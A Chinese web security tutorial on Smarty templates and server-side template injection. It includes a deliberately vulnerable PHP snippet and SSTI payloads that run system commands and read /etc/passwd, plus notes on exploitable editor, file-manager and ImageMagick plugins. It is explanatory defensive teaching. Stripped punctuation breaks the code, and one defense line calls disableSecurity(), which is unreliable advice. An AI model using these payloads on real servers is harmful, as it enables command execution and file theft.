web安全代码基础-PHP(模板组件插件安全) 存在安全问题的模板模板引擎基本概念模板引擎核心目标前后端代码分离。在开始介绍模板框架之前先了解一下模板引擎模板引擎是为了让前端界(html)与程序代码(php)分离而产生的一种解决方案简单来说就是html文件里再也不用写php代码了。模版使用案例Php模版框架Smarty、Twigcodeeval等python模版框架jinja2、mako、tornad、Django等Java模版框架Thymeleaf、jade、velocity、FreeMarker等JavaScript模版框架doTNunjucksPugMarkoEJSDust等Smarty 实现思路1、模板文件.tpl纯 HTML Smarty 标签{$变量}无 PHP 代码2、PHP 程序文件只负责业务逻辑、查询数据、赋值变量不写页面3、底层原理Smarty 读取模板将 PHP 传入的变量替换模板标签生成静态 HTML 输出浏览器Smarty的原理是变量替换原则我们只需在html文件写好Smarty的标签即可例{name}然后调用Smarty的方法传递变量参数即可。简单演示Smarty环境说明composer require smarty/smarty //需提前安装 SmartyComposer 一键安装1. 目录结构规范project/ ├── templates/ # 存放模板文件html/tpl │ └── index.tpl ├── templates_c/ # 编译缓存目录需设置读写权限777 ├── cache/ # 页面缓存目录 └── index.php # PHP后端逻辑2. 后端文件 index.phpPHP 逻辑?php // 引入Smarty自动加载 require vendor/autoload.php; // 实例化Smarty对象 $smarty new Smarty(); // 配置模板路径、编译缓存路径 $smarty-setTemplateDir(templates/); // 模板目录 $smarty-setCompileDir(templates_c/); // 编译文件目录 $smarty-setCacheDir(cache/); // 缓存目录 // 开启缓存可选开发环境可关闭 $smarty-caching false; // 给模板赋值变量 // 普通字符串变量 $smarty-assign(name, 张三); $smarty-assign(age, 22); // 数组变量 $userInfo [ phone 13800138000, address 北京市朝阳区 ]; $smarty-assign(user, $userInfo); // 索引数组列表 $fruit [苹果, 香蕉, 橙子]; $smarty-assign(fruitList, $fruit); // 对象变量 class Student{ public $stuId 1001; public $stuName 李四; } $stu new Student(); $smarty-assign(student, $stu); // 渲染并输出模板参数为模板文件名 $smarty-display(index.tpl);3. 模板文件 templates/index.tpl纯 HTMLSmarty 标签无 PHP!DOCTYPE html html langzh-CN head meta charsetUTF-8 titleSmarty模板示例/title /head body h3普通变量输出/h3 姓名{$name} br 年龄{$age} hr h3数组输出/h3 手机号{$user.phone} br 地址{$user.address} hr h3循环遍历数组/h3 {foreach from$fruitList itemval} 水果{$val} br {/foreach} hr h3对象属性输出/h3 学号{$student-stuId} br 学生名{$student-stuName} /body /html4、页面最终渲染结果!DOCTYPE html html langzh-CN head meta charsetUTF-8 titleSmarty模板示例/title /head body h3普通变量输出/h3 姓名张三 br 年龄22 hr h3数组输出/h3 手机号13800138000 br 地址北京市朝阳区 hr h3循环遍历数组/h3 水果苹果 br 水果香蕉 br 水果橙子 br hr h3对象属性输出/h3 学号1001 br 学生名李四 /body /html5、运行过程解析访问index.phpPHP 不会直接输出 HTML--Smarty 读取index.tpl模板文件--内部自动将assign()赋值的变量替换模板中{$xxx}标签--生成编译后的 HTML 缓存文件输出到浏览器展示最终页面。安全漏洞影响SSTIServer Side Template Injection服务器端模板注入用户可控输入直接拼接 / 传入模板引擎执行而非仅作为普通变量赋值。 模板引擎会解析模板语法{}、{php}、函数、系统调用等攻击者构造恶意模板标签服务端执行后造成信息泄露、文件读取、命令执行、服务器沦陷。需要区分两个场景1、变量赋值安全用户输入只是变量值模板引擎只输出文本不解析模板语法2、模板拼接渲染危险 / SSTI 漏洞把用户输入直接拼进模板代码再渲染输入会被当作模板语法执行。模板拼接渲染危险 / SSTI 漏洞漏洞代码?php require vendor/autoload.php; $smarty new Smarty(); $smarty-setTemplateDir(templates/); $smarty-setCompileDir(templates_c/); $smarty-setCacheDir(cache/); $smarty-caching false; // 漏洞根源直接获取用户GET参数拼接进模板字符串渲染 // display() 加载模板文件fetch() 支持传入模板字符串 $user_input $_GET[payload]; // 危险操作用户输入直接作为模板代码被Smarty解析 $tpl_code 欢迎你 . $user_input; echo $smarty-fetch($tpl_code);正常访问无害输入访问ssti_demo.php?payloadtestuser渲染逻辑 模板字符串无模板语法直接输出文本。运行结果欢迎你testuser攻击载荷SSTI 恶意输入载荷 1读取变量 / 环境信息?ssti{$smarty} //Smarty 会输出 Smarty 对象泄露路径、配置、缓存目录等敏感信息。载荷 2低版本 Smarty {php} 直接执行 PHP 代码高危?payload{php}system(whoami);{/php} //模板引擎识别{php}标签执行system()系统命令查看服务器用户。 ?payload{php}echo file_get_contents(/etc/passwd);{/php} //读取文件载荷 3无 {php} 标签时利用 Smarty 内置函数绕过?payload{eval var$_GET[cmd]}{$cmd} 再传参?payload{eval var$_GET[cmd]}{$cmd}cmdsystem(ls -l); //新版关闭{php}仍可通过{eval}、内置函数执行代码变量赋值安全// 安全写法后端固定键赋值用户只能修改变量值不能修改模板标签 $username $_GET[name]; $smarty-assign(userName, $username); // 模板 {$userName} 只会输出传入的字符串不会解析模板语法 //PHP 后端通过assign()可控变量赋值模板中{$变量}仅做简单字符串替换用户输入无法控制模板语法本身安全代码?php require vendor/autoload.php; $smarty new Smarty(); $smarty-setTemplateDir(templates/); $smarty-setCompileDir(templates_c/); $smarty-setCacheDir(cache/); $smarty-caching false; $user_input $_GET[name]; // 安全操作用户输入仅作为变量值赋值模板固定写死不拼接用户输入 $smarty-assign(username, $user_input); $smarty-display(test.tpl);templates/test.tpl文件内容欢迎你{$username}此时传入恶意载荷?name{php}system(id);{/php}页面只会原样输出字符串{php}system(id);{/php}不会执行任何代码。原因assign传入的是变量值Smarty 仅做输出转义不会将变量内容解析为模板语法。模板探针寻找所有可控输入点测试点位GET 参数?namexxx、?contentxxx、?titlexxxPOST 表单留言、昵称、简介、搜索框、评论Cookie 值Cookie: userxxx请求头User-Agent、Referer、X-Forwarded-For页面会打印 UA/IP 时文件上传文件名、自定义页面标题、自定义模板名称关键判断前提输入内容会在页面展示回显型点位最容易测 SSTI无回显需要延时盲注探针SSTI 漏洞形成的核心条件1、用户可控输入GET/POST/Cookie 等外部输入完全可控2、输入被当作模板代码解析直接拼接字符串传入fetch()动态包含用户可控模板文件名允许用户自定义模板内容并渲染3、模板引擎存在可利用语法 / 函数支持代码执行、文件读写、系统调用标签。Smarty 环境防御 SSTI 方案1、禁止动态拼接用户输入到模板字符串永远不要$smarty-fetch($user_input)模板文件名称固定写死不接受用户控制2、所有外部输入只用 assign 赋值用户数据仅作为变量输出不参与模板语法构建3、关闭高危标签Smarty 配置禁用{php}、{eval}等危险标签$smarty-disableSecurity(); $smarty-security_policy-disabled_tags [php,eval];4、开启模板安全沙箱限制模板中可调用的 PHP 函数屏蔽system/file_get_contents/exec等危险函数$smarty-enableSecurity();5、输入输出转义Smarty 默认变量输出自动转义 HTML 特殊字符避免同时触发 XSS6、严格过滤模板文件名若必须动态加载模板白名单限制文件名禁止用户传入任意路径。存在安全问题的组件插件一、富文本编辑器插件高危攻击面上传漏洞、XSS、SSTI、文件包含1、CKEditor / UEditor百度编辑器文件上传漏洞最常见、存储型XSS、路径遍历图片预览、文件下载接口等黑盒探针点/ueditor/php/upload.php、ckeditor/image_upload.php、dialogs/filemanager2、TinyMCE、KindEditor、wangEditor弱过滤 XSS、远程图片抓取 SSRF文件管理器插件elfinder高危任意文件读写、删除、RCE大量 WP/PHP CMS 集成。3. 页面可视化编辑器WP 插件如 Advanced Views、Contact Form 表单编辑器Twig 模板CVE-2025-10380、CVE-2026-4257未认证 SSTI 直接 RCE用户输入直接渲染 Twig 模板{{system(id)}}执行系统命令。二、图片处理组件高危命令注入 RCE、文件读取、SSRF1、ImageMagick / PHP 扩展 Imagick经典 Imagetragick CVE-2016-3714漏洞原理处理用户上传图片时解析 SVG/MVG/PS 指令可嵌入系统命令调用curl/wget/rm上传一张图片即可拿服务器权限。攻击方式伪装 jpg 的恶意 SVG内含url(|ls /)管道命令依赖 Ghostscript未禁用 PS/PDF 格式时持续爆出新 RCECVE-2025-57807。黑盒探针上传恶意 svg 图片观察页面处理图片是否超时、是否泄露目录内容。2. GD 库PHP 原生风险较低但存在图片水印、远程图片下载产生SSRF解析恶意 GIF 产生内存耗尽 DOS。3. 第三方图片压缩 / 裁剪插件如 WP 媒体库、Discuz 图片处理文件名可控拼接系统命令命令注入。三、邮件发送组件高危命令注入 RCE、CRLF 邮件注入、文件写入等等还有很多存在安全问题的模板、组件、插件等等。